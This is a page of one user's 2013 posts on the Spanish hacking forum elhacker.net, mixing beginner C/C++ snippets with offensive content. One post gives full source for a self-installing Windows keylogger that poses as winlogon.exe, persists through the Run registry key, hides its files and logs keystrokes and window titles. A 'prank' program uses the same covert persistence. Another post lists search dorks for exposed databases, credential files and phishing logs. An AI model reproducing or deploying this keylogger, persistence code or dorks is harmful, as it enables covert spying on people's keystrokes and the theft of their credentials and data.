elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13
91  Programación / Programación C/C++ / [c]subcadenas porque no funciona? en: 21 Junio 2013, 21:28 pm
la salida es :
5
-1
-1
alguna idea ?

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int findstr(char *cadena, char *subcadena, int pos_ini)
  5. {
  6. int i, j;
  7. for(i=pos_ini; cadena[i]!='\0'; i++)
  8. for(j=0; subcadena!='\0' && cadena[i+j]==subcadena[j]; j++)
  9. if(subcadena[j+1]=='\0')
  10. return i+1;
  11. return -1;
  12. }
  13.  
  14. int main()
  15. {
  16. char cadena[]="c a calar calar comer calar garbanzos";
  17. char subcadena[]= "cala";
  18.  
  19. printf("%i\n", findstr(cadena, subcadena, 0));
  20. strcpy(subcadena, "calar");
  21. printf("%i\n", findstr(cadena, subcadena, 0));
  22. printf("%i\n", findstr(cadena, subcadena, findstr(cadena, subcadena, 0)));
  23.  
  24. return 0;
  25. }
  26.  
92  Foros Generales / Noticias / El primer libro escrito por un ordenador en: 20 Junio 2013, 16:06 pm
El primer libro escrito por un ordenador
Citar
La carrera que le hacemos correr a los ordenadores está orientada a que sean nuestros compañeros inseparables en diversas actividades, pero también los solemos poner a "competir contra nosotros" en muchas otras, probándonos qué tan humanos pueden ser nuestros inventos. En 1983 se creó un generador de texto en BASIC que dio por resultado a “La barba del policía está a medio construir” el primer libro escrito por un ordenador. Hoy, republicado en forma de PDF, el libro nos muestra poemas, relatos, diálogos y otras formas literarias desordenadas semánticamente, pero con un trabajo de curación intensivo.


    Hace relativamente poco te contamos que los superordenadores ahora podían crear música que tenía tan alto nivel de complejidad que podía ser fácilmente confundida con música escrita por un humano, esos seres imperfectos pero sensibles y de creatividad infinita. La literatura se ha valido de este creador prodigioso, de la sintaxis y de la prosa de los miles de escritores que han pasado por nuestra historia y que hoy tal vez son millones, porque no sólo es escritor quien es publicado. Literatura fantástica, de ensayo, científica, romántica y muchos otros géneros de empujan para ganar espacio en las bibliotecas, pero si tienes a “La barba del policía está a medio construir” en literatura de ciencia ficción, deberías quitarlo de ahí y meterlo en tu selección de literatura electrónica. No estamos hablando de ebooks, sino del primer libro escrito por un ordenador.
    La barba del policía está a medio construir, el primer libro escrito por un ordenador - el primer libro escrito por un ordenador La barba del policía está a medio construir, el primer libro escrito por un ordenador



    En 1984 se publicaba The Policeman’s beard is half constructed y casi que pasaba desapercibido salvo para un pequeño círculo de especialistas y de informados sobre el acontecimiento del que probablemente te estés enterando casi 30 años después. Éste relato de 57 páginas ilustrado por Joan Hall, fue (poco) conocido como el primer libro escrito por un ordenador. El proyecto estuvo a cargo de los escritores William Chamberlain y Thomas Etter que habían creado Racter, un generador de texto en BASIC sobre un ordenador z80 de 64kb que tenía la particularidad de producir una prosa correcta en un también correcto inglés. Eso sí, había un problema a resolver (o no) y era que la semántica de las oraciones y frases estaba un poco distorsionada.
    2 páginas del libro. - el primer libro escrito por un ordenador 2 páginas del libro.

        ""Más que el hierro, más que el plomo, más que el oro, Yo necesito la electricidad. La necesito más que el cordero, el cerdo, la lechuga o el pepino. La necesito para mis sueños." -Uno de los poemas del libro."   

    Esto último impedía una correlatividad y coherencia entre mucho de lo que se decía en el libro, por lo que sólo una historia calificaba como tal, y el género era el de la ciencia ficción. Como esta era sólo una pequeña historia, el libro se completaba con poemas estilo limericks, que son estrofas de 5 versos con rimas AABBA, comentarios, entrevistas, diálogos y hasta aforismos. Todo le valía al ordenador para expresarse, parece.  Aunque su inglés era excelente, su forma de concatenar las palabras era extraña e inútil en términos operacionales, por lo que los dibujos de Joan Hall ayudaban a la comprensión del contexto o lo maquillaban para hacerlo inteligible. Nuestro interés, además del hallazgo de este programa y de su actual aparición en Amazon como PDF para comprar y descargar, el primer libro escrito por un ordenador nos hace preguntar: Si un ordenador escribió un libro con tecnología de hace 10 años, ¿qué tan bien podría salir uno desarrollado con los avances actuales?
la noticia no es precisamente nueva aun asi es interesante
http://www.neoteo.com/el-primer-libro-escrito-por-un-ordenador


aca otro libro hecho con un pc mas reciente



93  Programación / Programación C/C++ / [aporte][c]encontrar subcadenas y su posicion en: 16 Junio 2013, 01:54 am
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main()
  5. {
  6. char cadena[]="a p**a";
  7. char groseria[]="p**a";
  8. int value;
  9. int val;
  10. int x=0;
  11. for(value=0;cadena[value]!='\0';value++)
  12. {
  13.    if(cadena[value]==groseria[0])
  14.    {
  15.       for(val=0;cadena[value+val]!='\0';val++)
  16.       {
  17.        if(cadena[value+val]==groseria[val])
  18.        {
  19.                x++;
  20.  
  21.        }
  22.        else
  23.        {
  24.            x=0;
  25.        }
  26.            if(x==strlen(groseria))
  27.        {
  28.            printf(" el detector de groserias a encontrado una coincidencia en la posicion %i \n",value);
  29.        }
  30.       }
  31.    }
  32.  
  33. }
  34. return 0;
  35. }
  36.  
94  Programación / Programación C/C++ / [aporte]c keylogger solo con abrirlo se instala en: 15 Junio 2013, 16:52 pm
vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
Código
  1. /*
  2. char *instaladooo;
  3. instaladooo=getenv("USERPROFILE");
  4. SetCurrentDirectory(instaladooo);
  5. */
  6.  

Código
  1. #include <cstring>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <ctime>
  5.  
  6. using namespace std;
  7.  
  8. int main ( int argc, char *argv[] )
  9. {
  10. HWND hwnd;
  11. char ventana[255];
  12. char venta2[255];
  13. //existe el archivo log? si no existe instalar keylogger :D
  14. ifstream logc;
  15. logc.open ( "windows.dll" );
  16. if ( !logc.is_open() )
  17. {
  18. //---- se busca la carpeta de usuario
  19. char * dirinstal;
  20. char archivo [70];
  21. char * discolocal;
  22. dirinstal = getenv ( "HOMEPATH" );
  23. discolocal = getenv ( "SystemDrive" );
  24. strcpy ( archivo,discolocal );
  25. strcat ( archivo,dirinstal );
  26. //se crea el archivo log
  27. ofstream logos;
  28. char winlog [70];
  29. strcpy ( winlog, archivo );
  30.  
  31. strcat ( winlog, "\\windows.dll" );
  32. logos.open ( winlog, ios::out | ios::app );
  33. logos.close ();
  34. //-------
  35. strcat ( archivo, "\\winlogon.exe" );
  36. // se copia en la carpeta de usuario
  37. CopyFile ( argv[0], archivo, true );
  38. //- ahora se añade al registro
  39. HKEY hkey;
  40. RegOpenKeyEx ( HKEY_CURRENT_USER,
  41. "Software\\Microsoft\\Windows\\CurrentVersion\\run",
  42. 0, KEY_SET_VALUE, &hkey );
  43. RegSetValueEx ( hkey, "windout", 0, REG_SZ,
  44. (const unsigned char * ) archivo, sizeof archivo );
  45. RegCloseKey ( hkey );
  46. //se esconden los archivos , el keylogger y el log
  47. SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  48. // ahora el log
  49. SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  50. //por ultimo se cierra el sistema esperando que se reinicie el pc
  51. return 0;
  52. }
  53. logc.close();
  54.  
  55. // abre el archivo log
  56. /*
  57. char *instalado
  58. instalado=getenv("USERPROFILE");
  59. SetCurrentDirectory(instalado)
  60. */
  61. ofstream log;
  62. log.open ( "windows.dll", ios::out | ios::app );
  63. while ( true )
  64. {
  65. //detecta cambio de ventana
  66. hwnd = GetForegroundWindow ();
  67. GetWindowText ( hwnd, ventana, 255 );
  68. //----------------------
  69. for(int x=65;x<=90;x++) //valores ascii de los caracteres
  70. {
  71. if ( GetAsyncKeyState ( x ) == -32767 )
  72. {
  73. log << ( char ) x;
  74. }
  75. }
  76. for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
  77. {
  78. if ( GetAsyncKeyState (x) == -32767 )
  79. {
  80. log << ( char ) x;
  81. }
  82. }
  83. if ( GetAsyncKeyState ( ' ' ) == -32767)
  84. {
  85. log << " ";
  86. }
  87. if ( GetAsyncKeyState (1) == -32767)
  88. { //CLICK izquierdo
  89. log << "[click-izq]";
  90. }
  91. if ( GetAsyncKeyState(2) == -32767 )
  92. { //click derecho
  93. log << "[click-der]";
  94. }
  95. if ( GetAsyncKeyState (8) == -32767 )
  96. { // nada que decir
  97. log << "[backspace]";
  98. }
  99. if ( GetAsyncKeyState (190) == -32767 )
  100. { // nada que decir
  101. log << ".";
  102. }
  103. if ( GetAsyncKeyState (188) == -32767 )
  104. { // nada que decir
  105. log << ",";
  106. }
  107. if ( GetAsyncKeyState (13) == -32767 )
  108. { // nada que decir
  109. log << "[enter]";
  110. }
  111. //capturar flechas
  112. if(GetAsyncKeyState(37) == -32767)
  113. { // nada que decir
  114. log << "[left]";
  115. }
  116. if(GetAsyncKeyState(38) == -32767 )
  117. { // nada que decir
  118. log << "[up]";
  119. }
  120. if(GetAsyncKeyState(39) == -32767 )
  121. { // nada que decir
  122. log << "[right]";
  123. }
  124. if(GetAsyncKeyState(40) == -32767)
  125. { // nada que decir
  126. log << "[down]";
  127. }
  128.  
  129. if(GetAsyncKeyState(9) == -32767)
  130. {
  131. log << "[tab]";
  132. }
  133. //detecta cambio de ventana con otra variable
  134. hwnd = GetForegroundWindow ();
  135. GetWindowText ( hwnd, venta2, 255 );
  136. //compara las viarablews de cambio de ventana
  137. if ( strcmp ( ventana, venta2 ) != 0 )
  138. {
  139. //ventana a comparar
  140. char key[]= "lolwinlogonlol";
  141. // sera el nombre de la ventana que cierre el proceso
  142.  
  143. if ( strcmp ( ventana,key )== 0 )
  144. {
  145. log.close ();
  146. return 0;
  147. }
  148. //calcular la fecha
  149. time_t tiempo = time (0);
  150. struct tm *tlocal = localtime (&tiempo);
  151. char output[128];
  152. strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
  153. //--------------------
  154. log << endl << "-------------------------" << endl;
  155. log << "fecha:" << output << endl;
  156. log << endl << "ventana:"<< venta2 << endl;
  157. }
  158. }
  159. return 0;
  160. }


leer logs.cpp
Código
  1. #include <iostream>
  2. #include <cstring>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. int main()
  8. {
  9. char direccion[70]="notepad \"";
  10. char *disco;
  11. char *varsis;
  12. SetConsoleTitle("lolwinlogonlol");
  13. cout << "espere mientras se abre el archivo:" << endl;
  14. varsis=getenv("HOMEPATH");
  15. disco=getenv("SystemDrive");
  16. strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
  17. system(direccion);
  18. cout << "lol" ;
  19. return 0;
  20. }
  21.  
  22.  
95  Programación / Programación C/C++ / [aporte]c++ cifrar/descifrar archivos comando en: 10 Junio 2013, 20:00 pm
 :P
Código
  1.  
  2. #include <iostream>
  3.    #include <string>
  4.    #include <cstring>
  5.    #include <fstream>
  6.  
  7.    using namespace std;
  8.  
  9.  
  10.    void ayuda()
  11.    {
  12.    cout << "formato: cifrar.exe parametro \"archivo a cifrar\" \"archivo cifrado\"" << endl;
  13.    cout << "parametros:"<< endl << "-c cifrar" << endl << "-d descifrar" << endl;
  14.    }
  15.  
  16.  
  17.  
  18.    int main(int argc,char *argv[])
  19.       {
  20.       if(argc==4)
  21.           {
  22.               char *buf;
  23.               int tamano;
  24.               int n=1;
  25.  
  26.               char letra;
  27.               ifstream archivo(argv[2],ios::binary);
  28.               if(archivo.fail())
  29.                   {
  30.                   cout << "no fue posible abrir el archivo"<< endl;
  31.                   return 1;
  32.                   }
  33.               //-----------------------------
  34.               archivo.seekg(0,ios::end);
  35.               tamano=archivo.tellg();  //encuentro el tamano del archivo
  36.               archivo.seekg(0,ios::beg);
  37.               buf=new char[tamano];
  38.               //-----------------------------
  39.               archivo.read(buf,tamano);
  40.               archivo.close();
  41.               ofstream salida(argv[3],ios::binary);
  42.               for(int xd=0;xd<tamano;xd++)
  43.                   {
  44.                   if(strcmp(argv[1],"-c")==0)
  45.                       {
  46.                       letra=buf[xd]+n;
  47.                       }
  48.                   else if(strcmp(argv[1],"-d")==0)
  49.                       {
  50.                       letra=buf[xd]-n;
  51.                       }
  52.                   else
  53.                       {
  54.                       cout << "parametros erroneos"<<endl;
  55.                       return 1;
  56.                       }
  57.                   salida << letra;
  58.                   if(n>10)
  59.                       {
  60.                       n=1;
  61.                       }
  62.                       n++;
  63.                   }
  64.                   salida.close();
  65.                delete [] buf;
  66.               return 0;
  67.           }
  68.       else
  69.           {
  70.               ayuda();
  71.           }
  72.  
  73.  
  74.       return 0;
  75.       }
  76.  
  77.  
96  Programación / Programación C/C++ / [aporte]codigo c solo permitir una ejecucion a la vez en: 9 Junio 2013, 16:35 pm
eso para que el programa se ejecute correctamente ponganle de nombre programa.exe y ejecutenlo fuera del ide:
la idea es que el proceso no se pueda ejecutar dos veces   :P

Código
  1. /* nota para que funcione correctamente se debe ejecutar desde fuera de un ide */
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. void instalar()
  6. {
  7.    /* aca se supone copia el programa en directorio fijo asi programa.exe siempre sera el mismo y no cambiara el nombre*/
  8.  
  9. }
  10.  
  11. bool bloquear()
  12. {
  13.    HANDLE hFile = CreateFileA("programa.exe", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);  // se abre el archivo en modo lectura
  14.    OVERLAPPED overlapped;
  15.    memset(&overlapped, 0, sizeof(overlapped));
  16.    const int lockSize = 10;
  17.    if (!LockFileEx(hFile, LOCKFILE_EXCLUSIVE_LOCK|LOCKFILE_FAIL_IMMEDIATELY, 0, lockSize, 0, &overlapped))//lo que hace es bloquear  un archivo  para que solo un programa pueda abrirlo; se bloquea el mismo programa en ejecucion en caso de que ya esta bloqueado se asume que ya esta  en ejecucion
  18.    {
  19.        return true;
  20.    }
  21.    else
  22.    {
  23.        printf("[+]bloqueado\n");
  24.        return false;
  25.    }
  26. }
  27.  
  28.  
  29. int main()
  30. {
  31.    if(!bloquear()) // si lo logra bloquear entonces se ejecuta
  32.    {
  33.    while(true)
  34.     {
  35.        printf("ejecutandose\n");
  36.        Sleep(1000);
  37.     }
  38.    }
  39.    else // si no cierra el proceso
  40.    {
  41.        printf("solo se permite una ejecucion del programa");
  42.        Sleep(2000);
  43.        return 0;
  44.    }
  45.  
  46.  
  47. return 0;
  48. }
  49.  
  50.  
  51.  
97  Seguridad Informática / Análisis y Diseño de Malware / [pregunta]como desactivo el envio de muestras en avira en: 7 Junio 2013, 21:41 pm
gracias de antemanto  :huh: .Antes usaba nod32 pero en este no encuentro como hacerlo
98  Foros Generales / Foro Libre / 4=3 alguien me puede explicar esto? en: 4 Junio 2013, 16:57 pm
alguien me puede explicar esto? supongo que debe haber algo mal xD

99  Programación / Programación C/C++ / Broma c++ en: 24 Mayo 2013, 03:16 am
hola hice un code para retomar la programacion hacia rato no lo programaba asi que no es nada complejo y para hacer una broma no lo posteo aun por si la remota posibilidad que lo terminen detectando algun antivirus antes de ponerlo
mañana posteo el code xD
fondo:
https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4
la imagen debe estar en la misma carpeta y llamarse 1010.bmp


saludos

Código
  1. #include <windows.h>
  2. #include <cstring>
  3.  
  4.  
  5.  
  6. bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false
  7. {
  8. DWORD attr = GetFileAttributes(file);
  9. if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
  10.    return false;   //  not a file
  11. return true;
  12. }
  13.  
  14.  
  15. void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows
  16. {
  17. //con la variable DireccionLocal se donde esta el programa para asi copiarlo
  18. char instalarFondo[100];
  19. char *dirlocal=getenv("USERPROFILE"); // carpeta local de usuario
  20. char dirfoto[700]; // el directorio donde esta la foto
  21. char instalar1[100]; //directorio a instalar el archivo
  22. //----------------------------
  23. GetCurrentDirectory(700,dirfoto);
  24. strcat(dirfoto,"\\1010.bmp");
  25. strcpy(instalarFondo,dirlocal);
  26. strcat(instalarFondo,"\\1010.bmp");
  27. CopyFile(dirfoto,instalarFondo,true);//copio el fondo
  28. //-------------------------------
  29. strcpy(instalar1,dirlocal);
  30. strcat(instalar1,"\\winlogon.exe");
  31. CopyFile(DireccionLocal,instalar1,true); // copio el archivo
  32. //añado llaves al registro de windows para que se inicie con el sistema
  33. HKEY hkey;
  34. RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
  35. RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro  el nombre es windout y el valor la direccion del programa
  36. RegCloseKey  (hkey);
  37. SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver
  38. SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  39. //---
  40.  
  41.  
  42. }
  43.  
  44. void cambiarElFondo()
  45. {
  46.    char fondo[]="1010.bmp";
  47.    SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo
  48.  
  49. }
  50.  
  51. int main(int argc,char * argv[])
  52. {
  53.    char *com=getenv("USERPROFILE");
  54.    char comprobar[600];
  55.    strcpy(comprobar,com);
  56.    strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD
  57.  
  58.    while(true)
  59.    {
  60.  
  61.    if(existe(comprobar)) //
  62.    {
  63.  
  64.        cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo
  65.    }
  66.    else
  67.    {
  68.       instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala
  69.    }
  70.       Sleep(3000); // espera 3 segundos
  71.    }
  72.  
  73.    return 0;
  74. }
  75.  
100  Seguridad Informática / Nivel Web / Dorks nuevos[no son los comunes dorks] en: 13 Mayo 2013, 14:45 pm
estos no son precisamente dorks tradicionales que buscan sqli  :P a veces encuentran cosas mas interesantes
Citar
inurl:forceDownload.php?file= //local file disclosure
filetype:sql inurl:wp-content/backup-* //ver bases de datos entre estos usuarios
allinurl:index.php?db=information_schema // acceder a phpmyadmin schema
"CHARACTER_SETS" "COLLATION_CHARACTER_SET_APPLICABILITY" // inyecciones sql recomendado que lo prueben
intext:"~~Joomla1.txt" title:"Index of /" //se supone busca archivos de configuracion del joomla entre esos el usuario de la base de datos :D
inurl:"passes" OR inurl:"passwords" OR inurl:"credentials" -search -download -techsupt -git -games -gz -bypass -exe filetype:txt @yahoo.com OR @gmail OR @hotmail OR @rediff //busca logs de paginas phishing la mayoria no funciona lo que es de esperarse
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines